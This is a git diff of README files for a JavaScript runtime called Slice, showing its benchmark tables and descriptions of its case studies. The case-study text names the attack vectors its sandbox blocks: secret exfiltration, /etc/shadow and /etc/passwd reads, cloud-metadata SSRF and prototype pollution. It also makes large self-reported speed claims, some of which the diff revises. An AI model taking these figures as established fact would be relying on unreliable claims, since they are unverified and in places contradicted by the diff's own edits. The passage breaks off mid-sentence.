[`src/wasm_security_auditor.ts`](./apps/23-wasm-crypto-and-simd-kernel/src/wasm_security_auditor.ts), [`src/index.ts`](./apps/23-wasm-crypto-and-simd-kernel/src/index.ts). - **What it tests:** Full W3C/WinterTC `WebAssembly` lifecycle (`WebAssembly.validate`, `new WebAssembly.Module`, `Module.exports`, `Module.imports`, `Module.customSections`, `WebAssembly.instantiate`, `WebAssembly.Memory.prototype.grow`, bidirectional `Uint8Array` linear memory mutation, `WebAssembly.Global`, and JS host function callbacks via `importObject.env`) paired with the **5-Ring WebAssembly Security Firewall** (Ring 1 invalid magic header `CompileError`, Ring 2 deterministic CPU fuel bomb preemption, Ring 3 memory page ceiling enforcement, Ring 4 unlinked host import `LinkError`, and Ring 5 out-of-bounds linear memory `RuntimeError`), plus `bytes` formatting and `node:crypto` SHA-256 verification. - **Identical Output Across All 4 Runtimes:** @@ -199,7 +199,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar {"suite":"23-wasm-crypto-and-simd-kernel","kernelSummary":{"validBinaryAccepted":true,"invalidBinaryRejected":true,"exportNames":["memory","ops_counter","fnv1a_32","xor_stream_transform"],"importNames":["env.host_mix"],"customSectionPayload":"slice-wasm-kernel-v1","fnv1aDigestHex":"de32fb41","transformedSliceHex":"c6f7e1c3ecffdb8a8fdcebe089d8ebef","hostCallbackCount":1,"opsCounterAfterRun":49,"memoryPagesAfterGrow":2,"memoryByteLengthFormatted":"128KB","kernelSha256":"c551c0df9a3ec1ef"},"securityAudit":{"totalVectorsTested":5,"ring1MalformedMagicBlocked":true,"ring2CpuFuelBombBlocked":true,"ring3MemoryQuotaExceededBlocked":true,"ring4UnlinkedHostImportBlocked":true,"ring5OutOfBoundsMemoryTrapBlocked":true,"auditDigest":"dc1da3b83df5fa6e"}} ``` -### 24. [`apps/24-tsx-ssr-and-wasm-edge-pipeline/`](./apps/24-tsx-ssr-and-wasm-edge-pipeline/src/index.ts) — WebAssembly SLA Health Scorer, `WebAssembly.Table`, & XSS-Safe SSR Component Pipeline (`bytes@3.1.2`, `cookie@0.6.0`, `fast-querystring@1.1.2`, `ms@2.1.3` + `slice test --watch-once`) +### 24. [`apps/24-tsx-ssr-and-wasm-edge-pipeline/`](./apps/24-tsx-ssr-and-wasm-edge-pipeline/src/index.ts) - WebAssembly SLA Health Scorer, `WebAssembly.Table`, & XSS-Safe SSR Component Pipeline (`bytes@3.1.2`, `cookie@0.6.0`, `fast-querystring@1.1.2`, `ms@2.1.3` + `slice test --watch-once`) - **Structure:** [`package.json`](./apps/24-tsx-ssr-and-wasm-edge-pipeline/package.json), [`slice.toml`](./apps/24-tsx-ssr-and-wasm-edge-pipeline/slice.toml), [`src/types.ts`](./apps/24-tsx-ssr-and-wasm-edge-pipeline/src/types.ts), [`src/wasm_scorer.ts`](./apps/24-tsx-ssr-and-wasm-edge-pipeline/src/wasm_scorer.ts), [`src/ssr_renderer.ts`](./apps/24-tsx-ssr-and-wasm-edge-pipeline/src/ssr_renderer.ts), [`src/index.ts`](./apps/24-tsx-ssr-and-wasm-edge-pipeline/src/index.ts), [`tests/ssr_wasm.test.ts`](./apps/24-tsx-ssr-and-wasm-edge-pipeline/tests/ssr_wasm.test.ts). - **What it tests:** Compiles and instantiates a WebAssembly SLA health scorer (`WebAssembly.compile`, `WebAssembly.instantiate`, `WebAssembly.Table`, `WebAssembly.Global`, `Int32Array` view over `exports.memory.buffer`, and `env.on_anomaly` host callback), renders an XSS-escaped Server-Side Rendered (SSR) HTML dashboard (`renderEdgeDashboardSsrHtml`), formats cookies (`cookie.parse` / `cookie.serialize`), parses query strings (`fast-querystring`), formats cache windows (`ms`), and verifies live OS-native file watching (`slice test --watch-once` via `notify`). - **Identical Output Across All 4 Runtimes:** @@ -213,7 +213,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar > **Latest Verified Benchmark Report:** **[`tests/reports/latest.md`](./reports/latest.md)** (Archive: [`bench_v0.10.12_20261111_175836Z_dc31f74.md`](./reports/bench_v0.10.12_20261111_175836Z_dc31f74.md)) -> **Provenance:** Slice `v0.10.12` (`dc31f74`) · Generated `2026-11-11T17:58:36Z` · Environment: `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` +> **Provenance:** Slice `v0.10.12` (`dc31f74`) | Generated `2026-11-11T17:58:36Z` | Environment: `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` > **Scorecard Across All 33 Production Workloads:** Beats **Deno (`v2.9.8`)** on **33/33**, **Node.js (`v27.0.0-alpha.0.0.0`)** on **33/33**, **Bun (`v1.4.4`)** on **29/33** cold one-shot, and **all 3 runtimes on 33/33 workloads in `--warm` pooled execution**. #### 1. Core Architecture, HTTP Throughput & 1,000-Tenant MicroVM Density @@ -224,19 +224,19 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar | **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.74 ms` (`9.82 MB` RSS)** | > 5,000 ms | > 15,000 ms | > 30,000 ms | **> 3,900x faster / ~32,000x denser** | | **500-Module Monorepo Cold Boot (`stat()` Calls)** | **`3.41 ms` (`0 stat()`)** | `12.72 ms` (`500+ stat`) | `41.80 ms` (`500+ stat`) | `70.38 ms` (`1,500+ stat`) | **`3.7x` faster than Bun / `20.6x` Node.js** | | **HTTP/1.1 Keep-Alive Throughput (`16k` Reqs)** | **`154,794 req/s`** (Tier-0)
**`147,564 req/s`** (Tier-1) | `100,562 req/s` | `99,082 req/s` | `56,447 req/s` | **`1.54x` (`Tier-0`) / `1.47x` (`Tier-1`) vs `Bun.serve`** | -| **Peak Process Memory (`Max RSS` Across Suite)** | **`13.45 – 21.63 MB`** | `26.13 – 40.25 MB` | `45.69 – 62.38 MB` | `70.15 – 93.00 MB` | **`2.0x–2.3x` less than Bun / `4.3x–6.8x` less than Node** | +| **Peak Process Memory (`Max RSS` Across Suite)** | **`13.45 - 21.63 MB`** | `26.13 - 40.25 MB` | `45.69 - 62.38 MB` | `70.15 - 93.00 MB` | **`1.5x-2.4x` less than Bun / `3.9x-6.8x` less than Node** | | **Multi-Tenant Security Containment** | **`5 / 5 PASS`** (OCap+SES+Fuel+DLP) | `0 / 5` (Ambient) | `2 / 5` (Coarse CLI) | `0 / 5` (Ambient) | **Hardware & Language Zero-Trust Isolation** | #### 2. Real-Life Workload Summary by Domain (All 33 Workloads Aggregated) | Workload Domain & Stack Coverage | Suites | Slice Cold `.cas` Avg (Range) | Slice Warm (`--warm`) Avg | Bun `v1.4.4` Avg | Deno `v2.9.8` Avg | Node.js `v27.0.0-alpha.0.0.0` Avg | Category Speedup vs Bun / Node.js | | :--- | :---: | :---: | :---: | :---: | :---: | :---: | :--- | -| **Core Edge, Auth & Crypto (`Apps 01, 04, 05, 16`)**
Multi-file TS, SHA-256/HMAC, JWT/OAuth2, `.env` Auto-DLP | `4` | **`7.84 ms`** (`6.28–10.07 ms`) | **`2.17 ms`** | `14.52 ms` | `42.60 ms` | `62.07 ms` | **`1.85x Bun` (`6.69x` Warm) / `7.92x Node`** | -| **NPM Ecosystem, AST & Disk I/O (`Apps 02, 03, 06, 07, 08, 20`)**
`semver`, `flatted`, `dlv`/`dset`, `mitt`, 10-Shard JSONL I/O, `Buffer` | `6` | **`10.94 ms`** (`7.25–14.23 ms`) | **`3.16 ms`** | `17.64 ms` | `48.12 ms` | `65.89 ms` | **`1.61x Bun` (`5.59x` Warm) / `6.02x Node`** | -| **WinterTC Web Standards, Fetch Mesh & DLP (`Apps 09–14, 17–19`)**
`Request`/`Response`, Static CDN `304`, SSE, Live `fetch`, WebCrypto | `9` | **`15.45 ms`** (`8.12–29.33 ms`) | **`7.31 ms`** | `18.48 ms` | `52.47 ms` | `93.96 ms` | **`1.20x Bun` (`2.53x` Warm) / `6.08x Node`** | -| **Realtime WebSockets, Workers & Wasm/TSX (`Apps 15, 21–24`)**
RFC 6455 WS, `worker_threads` + TCP/UDP, Pure-Rust `wasmi` Wasm, TSX SSR | `5` | **`14.25 ms`** (`8.72–20.99 ms`) | **`2.48 ms`** | `28.68 ms` | `62.87 ms` | `86.44 ms` | **`2.01x Bun` (`11.57x` Warm) / `6.07x Node`** | -| **Full-Stack Edge & Node Frameworks (`FW 01–04`)**
`Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http`, `SvelteKit 3.1.1 + Svelte 5.57.3` | `4` | **`20.74 ms`** (`14.65–34.19 ms`) | **`7.47 ms`** | `29.22 ms` | `54.14 ms` | `93.40 ms` | **`1.41x Bun` (`3.91x` Warm) / `4.50x Node`** | -| **AI Agent, Multi-Tenant SaaS & Chaos Case Studies (`CS 01–05`)**
Depth-4 ToT Agent, MCP Code Mode, 12-Tenant Mesh, Wasm CDR, 48 Payment Sagas | `5` | **`21.17 ms`** (`13.17–34.84 ms`) | **`6.27 ms`** | `20.96 ms` | `56.54 ms` | `80.98 ms` | **`0.99x Bun` (`3.34x` Warm) / `3.82x Node`** | +| **Core Edge, Auth & Crypto (`Apps 01, 04, 05, 16`)**
Multi-file TS, SHA-256/HMAC, JWT/OAuth2, `.env` Auto-DLP | `4` | **`7.84 ms`** (`6.28-10.07 ms`) | **`2.17 ms`** | `14.52 ms` | `42.60 ms` | `62.07 ms` | **`1.85x Bun` (`6.69x` Warm) / `7.92x Node`** | +| **NPM Ecosystem, AST & Disk I/O (`Apps 02, 03, 06, 07, 08, 20`)**
`semver`, `flatted`, `dlv`/`dset`, `mitt`, 10-Shard JSONL I/O, `Buffer` | `6` | **`10.94 ms`** (`7.25-14.23 ms`) | **`3.16 ms`** | `17.64 ms` | `48.12 ms` | `65.89 ms` | **`1.61x Bun` (`5.59x` Warm) / `6.02x Node`** | +| **WinterTC Web Standards, Fetch Mesh & DLP (`Apps 09-14, 17-19`)**
`Request`/`Response`, Static CDN `304`, SSE, Live `fetch`, WebCrypto | `9` | **`15.45 ms`** (`8.12-29.33 ms`) | **`7.31 ms`** | `18.48 ms` | `52.47 ms` | `93.96 ms` | **`1.20x Bun` (`2.53x` Warm) / `6.08x Node`** | +| **Realtime WebSockets, Workers & Wasm/TSX (`Apps 15, 21-24`)**
RFC 6455 WS, `worker_threads` + TCP/UDP, Pure-Rust `wasmi` Wasm, TSX SSR | `5` | **`14.25 ms`** (`8.72-20.99 ms`) | **`2.48 ms`** | `28.68 ms` | `62.87 ms` | `86.44 ms` | **`2.01x Bun` (`11.57x` Warm) / `6.07x Node`** | +| **Full-Stack Edge & Node Frameworks (`FW 01-04`)**
`Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http`, `SvelteKit 3.1.1 + Svelte 5.57.3` | `4` | **`20.74 ms`** (`14.65-34.19 ms`) | **`7.47 ms`** | `29.22 ms` | `54.14 ms` | `93.40 ms` | **`1.41x Bun` (`3.91x` Warm) / `4.50x Node`** | +| **AI Agent, Multi-Tenant SaaS & Chaos Case Studies (`CS 01-05`)**
Depth-4 ToT Agent, MCP Code Mode, 12-Tenant Mesh, Wasm CDR, 48 Payment Sagas | `5` | **`21.17 ms`** (`13.17-34.84 ms`) | **`6.27 ms`** | `20.96 ms` | `56.54 ms` | `80.98 ms` | **`0.99x Bun` (`3.34x` Warm) / `3.82x Node`** | #### 3. Flagship Real-World Representative Workloads (9 of 33 Highlights) @@ -259,22 +259,22 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar ## Running the Benchmark Suite (Tagged Filtering via `SLICE_BENCH_TAGS`) -[`run_real_stack_benchmarks.sh`](./run_real_stack_benchmarks.sh) supports filtering benchmark suites via the `SLICE_BENCH_TAGS` environment variable (`all`, `apps`, `frameworks`, `case_studies`, `n1`, `n2`, `n3`, `f1`, `f2`, `f3`, `f4`, `wasm`, `serve`, `swarm`): +[`run_real_stack_benchmarks.sh`](./run_real_stack_benchmarks.sh) supports filtering benchmark suites via the `SLICE_BENCH_TAGS` environment variable (`all`, `apps`, `frameworks`, `case_studies`, `n1`, `n2`, `n3`, `f1`, `f2`, `f3`, `f4`, `wasm`, `serve`, `swarm`). See **[`reports/latest.md`](./reports/latest.md)** for live latency, throughput, and RSS measurements across every tag: -| Tag | Suite Executed | Verified Linux Docker (`x86_64`) Highlight (`SLICEBC\x01` Default) | +| Tag | Suite Executed | Coverage Verified | | :--- | :--- | :--- | -| `apps` | All 24 folder-based TypeScript + `node_modules` apps (`01`..`24`) | **`6.46 ms - 29.06 ms` cold** / **`0.61 ms - 17.14 ms` warm** (`13.50 MB` Max RSS, **`24/24` faster than Bun warm**) | -| `frameworks` | Full-stack Edge & Node Framework suites (`01-hono-edge-microservice`, `02-itty-router-unjs-nitro-stack`, `03-node-http-express-compat`, `04-sveltekit-edge-ssr`) | **`14.58 ms` Hono (`5.65 ms` warm)**, **`17.08 ms` UnJS/Nitro (`9.08 ms` warm)**, **`1.81 ms` warm `node:http` Express/Polka**, & **SvelteKit `v3.1.1` + Svelte `v5.57.3` SSR** | -| `case_studies` | All 5 production Case Studies (`01-tot-autonomous-sre-agent`..`05-time-travel-chaos-fuzzer-payments`) | **`13.20 ms - 26.68 ms` cold** / **`2.02 ms - 12.71 ms` warm** (`15.00 MB - 19.00 MB` RSS) | -| `wasm` | Pure-Rust `WebAssembly` (`Apps 23 & 24`) & OS-native `slice test --watch-once` | **`16.51 ms` App 23 (`1.45 ms` warm, `18.50 MB` RSS)** & **`8.65 ms` App 24 (`1.75 ms` warm, `13.50 MB` RSS)** | -| `n1` / `serve` | `slice serve` (`--workers=8`, HTTP/1.1 Keep-Alive + Pipelining + WinterTC) | **`158,534 req/s` (`6.31 us/req`) Tier-0 CAS** / **`120,333 req/s` (`8.31 us/req`) Tier-1 WinterTC** | -| `n2` | Sharded `Slice.kv` (`1,001` ops), `--tenant-dir` hot-swap, & `--deterministic` replay | **`596.53 us` for 1,001 `Slice.kv` ops**, zero-downtime `.cas` hot-swap, & 100% deterministic replay | -| `n3` | Tree-of-Thought AI Agent (`Slice.checkpoint` + `Slice.evalSandbox` + `Slice.restore`), `--audit-egress`, & `slice mcp` | **`107.06 us` for 3 nested sandboxes + VFS/KV rollback (`15.22 us/sandbox`)**, Base64 leak blocked, & JSON-RPC 2.0 MCP tools | -| `f1` | `slice serve` with `export default { fetch(req, env, ctx) }` + App 9 & App 10 WinterTC parity | **`export default { fetch }` HTTP server + 100% 4-runtime parity on Apps 9 & 10 (`12.99 ms` on App 10 vs `14.10 ms` Bun)** | -| `f2` | `--static` Zero-Stat CAS Static Asset ETag (`HIT-200` + `HIT-304`) & `Response.sse` + Apps 11 & 12 | **`< 2 us` BLAKE3 `ETag` `304 Not Modified` + SSE token streaming + 100% 4-runtime parity on Apps 11 & 12** | -| `f3` | OCap Outbound `fetch()`, Cloud Metadata SSRF Shield, & Outbound Egress DLP + Apps 13, 14 & 17 | **Live TCP `fetch()` (`13.60 ms` App 13 vs `19.53 ms` Bun, `14.46 ms` App 14 vs `21.70 ms` Bun) + `169.254.169.254` SSRF & Base64 DLP blocked** | -| `f4` | Time-Travel `slice test`, `< 3 ms` `--watch`, Auto-DLP `.env`, & Event Loop + Apps 15, 16 & 18 | **Time-Travel `slice test` (`3/3 passed`, `3/3 VFS+KV rollbacks`) + `14.98 ms` App 15 (`1.63x` Bun) & `7.58 ms` App 16 (`1.92x` Bun)** | -| `swarm` | 1,000-Tenant MicroVM Cold-Start & Density Benchmark (`slice microvm-bench --tenants=1000`) | **`0.98 us` min / `1.03 us` P50 / `1.28 ms` total 1,000-tenant swarm (`10.06 MB` process RSS, 5/5 security vectors blocked)** | +| `apps` | All 24 folder-based TypeScript + `node_modules` apps (`01`..`24`) | Cold `.cas` execution, `--warm` pooled isolate execution, peak RSS, and 4-runtime output parity across all 24 apps | +| `frameworks` | Full-stack Edge & Node Framework suites (`01-hono-edge-microservice`, `02-itty-router-unjs-nitro-stack`, `03-node-http-express-compat`, `04-sveltekit-edge-ssr`) | `Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http` adapter, and `SvelteKit v3.1.1 + Svelte v5.57.3` SSR parity | +| `case_studies` | All 5 production Case Studies (`01-tot-autonomous-sre-agent`..`05-time-travel-chaos-fuzzer-payments`) | Depth-4 ToT SRE Agent, MCP Code Mode Orchestrator, 12-Tenant SaaS Webhook Mesh, Wasm CDR Ingest, and 48 Time-Travel Payment Sagas | +| `wasm` | Pure-Rust `WebAssembly` (`Apps 23 & 24`) & OS-native `slice test --watch-once` | `wasmi` compute kernels, linear memory, host imports, 5-Ring Wasm security containment, TSX SSR, and `notify` file watching | +| `n1` / `serve` | `slice serve` (`--workers=8`, HTTP/1.1 Keep-Alive + Pipelining + WinterTC) | Multi-worker HTTP/1.1 Keep-Alive throughput across Tier-0 CAS static responses and Tier-1 WinterTC dynamic handlers | +| `n2` | Sharded `Slice.kv` (`1,001` ops), `--tenant-dir` hot-swap, & `--deterministic` replay | Lock-free sharded `Slice.kv` batch throughput, zero-downtime `.cas` tenant hot-swap, and bit-identical deterministic replay | +| `n3` | Tree-of-Thought AI Agent (`Slice.checkpoint` + `Slice.evalSandbox` + `Slice.restore`), `--audit-egress`, & `slice mcp` | Nested `evalSandbox` speculation with CoW VFS/KV rollback, Base64 Egress DLP blocking, and JSON-RPC 2.0 MCP tools | +| `f1` | `slice serve` with `export default { fetch(req, env, ctx) }` + App 9 & App 10 WinterTC parity | Standard WinterTC `export default { fetch }` HTTP dispatch and 4-runtime output parity on Apps 09 and 10 | +| `f2` | `--static` Zero-Stat CAS Static Asset ETag (`HIT-200` + `HIT-304`) & `Response.sse` + Apps 11 & 12 | Zero-stat BLAKE3 `ETag` `304 Not Modified` negotiation, SSE token streaming, and 4-runtime parity on Apps 11 and 12 | +| `f3` | OCap Outbound `fetch()`, Cloud Metadata SSRF Shield, & Outbound Egress DLP + Apps 13, 14 & 17 | Live TCP Keep-Alive `fetch()`, hop-by-hop redirect guard, `169.254.169.254` SSRF blocking, and Base64 DLP blocking | +| `f4` | Time-Travel `slice test`, `--watch`, Auto-DLP `.env`, & Event Loop + Apps 15, 16 & 18 | Time-Travel `slice test` VFS+KV rollbacks, Auto-DLP `.env` secret classification, and deterministic event-loop ordering | +| `swarm` | 1,000-Tenant MicroVM Cold-Start & Density Benchmark (`slice microvm-bench --tenants=1000`) | 1,000-tenant isolate cold-start latency distribution, process RSS density, and 5/5 multi-tenant security containment checks | ```powershell # Build the Linux Docker benchmark container @@ -286,10 +286,9 @@ docker run --rm slice-realworld-bench # Or run only specific tagged suites (e.g. f1, n1, n2, n3, and 1,000-tenant swarm) docker run --rm -e SLICE_BENCH_TAGS=f1,n1,n2,n3,swarm slice-realworld-bench -# Or run any of the 20 folder apps directly on Windows or Linux with Slice +# Or run any of the 24 folder apps directly on Windows or Linux with Slice .\target\release\slice.exe run .\tests\apps\01-fintech-checkout --warm --metrics .\target\release\slice.exe run .\tests\apps\02-npm-ecosystem-suite --warm --metrics .\target\release\slice.exe run .\tests\apps\19-wintertc-webcrypto-streams-edge --warm --metrics .\target\release\slice.exe run .\tests\apps\20-node-compat-and-edge-router --warm --metrics ``` -``` diff --git a/tests/case_studies/README.md b/tests/case_studies/README.md index 8c1c2bb..9e91f68 100644 --- a/tests/case_studies/README.md +++ b/tests/case_studies/README.md @@ -1,23 +1,23 @@ -# Slice (Nexus-JS) — Production Case Studies & Interactive Workbench (`tests/case_studies/`) +# Slice (Nexus-JS) - Production Case Studies & Interactive Workbench (`tests/case_studies/`) This directory contains **5 intensive, multi-file production Case Studies** and an **Interactive Visual Workbench & Terminal Cockpit (`workbench/`)** that showcase and benchmark Slice's core product capabilities: -1. **[`01-tot-autonomous-sre-agent`](./01-tot-autonomous-sre-agent/src/index.ts) — Depth-4 Tree-of-Thought (ToT) Autonomous SRE Remediation Agent:** +1. **[`01-tot-autonomous-sre-agent`](./01-tot-autonomous-sre-agent/src/index.ts) - Depth-4 Tree-of-Thought (ToT) Autonomous SRE Remediation Agent:** * Evaluates **20 candidate LLM-generated patches** across a **4-level Tree-of-Thought search** over a degraded 4-service cluster (`edge-gateway`, `auth-token-broker`, `ledger-sequencer`, `risk-ml-scorer`). - * Executes **16 instant `< 5 us` multi-file VFS + `Slice.kv` rollbacks** (`Slice.checkpoint()` / `Slice.restore(id)`) when candidate branches trigger Egress DLP secret exfiltration (Base64/Hex), SES `Object.prototype` pollution, infinite `while(true)` CPU fuel loops, unauthorized `/etc/shadow` & `/etc/passwd` reads, or P99 SLA regressions — committing the 4 optimal patches (`1820 ms -> 248 ms` P99). + * Executes **16 instant `< 5 us` multi-file VFS + `Slice.kv` rollbacks** (`Slice.checkpoint()` / `Slice.restore(id)`) when candidate branches trigger Egress DLP secret exfiltration (Base64/Hex), SES `Object.prototype` pollution, infinite `while(true)` CPU fuel loops, unauthorized `/etc/shadow` & `/etc/passwd` reads, or P99 SLA regressions - committing the 4 optimal patches (`1820 ms -> 248 ms` P99). -2. **[`02-mcp-code-mode-orchestrator`](./02-mcp-code-mode-orchestrator/src/index.ts) — MCP "Code Mode" Orchestrator vs. Chatty Sequential Tool Calling (Guide A Groundwork):** +2. **[`02-mcp-code-mode-orchestrator`](./02-mcp-code-mode-orchestrator/src/index.ts) - MCP "Code Mode" Orchestrator vs. Chatty Sequential Tool Calling (Guide A Groundwork):** * Joins 280 enterprise records across 4 MCP domains (`crm`, `billing`, `support`, `flags`) to identify churn-risk accounts and compute prorated SLA credits. - * Benchmarks **40 sequential JSON-RPC tool calls (`~39,405` tokens)** against a **single-shot Slice Code Mode sandbox pass (`~631` tokens — `-98.4%` token reduction)** while verifying 100% identical output and trapping 4 adversarial Code Mode probes (`FsReadDenied`, `EGRESS_SECRET_LEAK_BLOCKED`, `IntrinsicMutationBlocked`, `CpuFuelExhausted`). + * Benchmarks **40 sequential JSON-RPC tool calls (`~39,405` tokens)** against a **single-shot Slice Code Mode sandbox pass (`~631` tokens, `-98.4%` token reduction)** while verifying 100% identical output and trapping 4 adversarial Code Mode probes (`FsReadDenied`, `EGRESS_SECRET_LEAK_BLOCKED`, `IntrinsicMutationBlocked`, `CpuFuelExhausted`). -3. **[`03-multi-tenant-saas-plugin-mesh`](./03-multi-tenant-saas-plugin-mesh/src/index.ts) — Multi-Tenant SaaS Customer Webhook & Plugin Engine (Guide B Groundwork):** +3. **[`03-multi-tenant-saas-plugin-mesh`](./03-multi-tenant-saas-plugin-mesh/src/index.ts) - Multi-Tenant SaaS Customer Webhook & Plugin Engine (Guide B Groundwork):** * Executes **12 customer-authored TypeScript plugins** across **120 live checkout events** with per-tenant `Slice.kv` namespaces and attenuated capabilities. * Deterministically isolates **3 noisy-neighbor / malicious tenants** (`tenant-05-noisy-cpu-miner`, `tenant-07-malicious-fs-probe`, `tenant-09-ses-poisoner`) while hot-swapping `tenant-03-berlin-b2b` from `v1.0.0 -> v2.0.0-hotswap` mid-stream with zero dropped events. -4. **[`04-wasm-zero-trust-cdr-pipeline`](./04-wasm-zero-trust-cdr-pipeline/src/index.ts) — Pure-Rust WebAssembly Content Disarm & Reconstruction (CDR) + Zero-Trust PII Vault:** +4. **[`04-wasm-zero-trust-cdr-pipeline`](./04-wasm-zero-trust-cdr-pipeline/src/index.ts) - Pure-Rust WebAssembly Content Disarm & Reconstruction (CDR) + Zero-Trust PII Vault:** * Streams untrusted clinical (`HIPAA`), financial (`PCI`), and infrastructure (`SOC2`) document batches through a custom **WebAssembly binary SimHash kernel** (`cdr-v3.0-zero-trust`), disarms `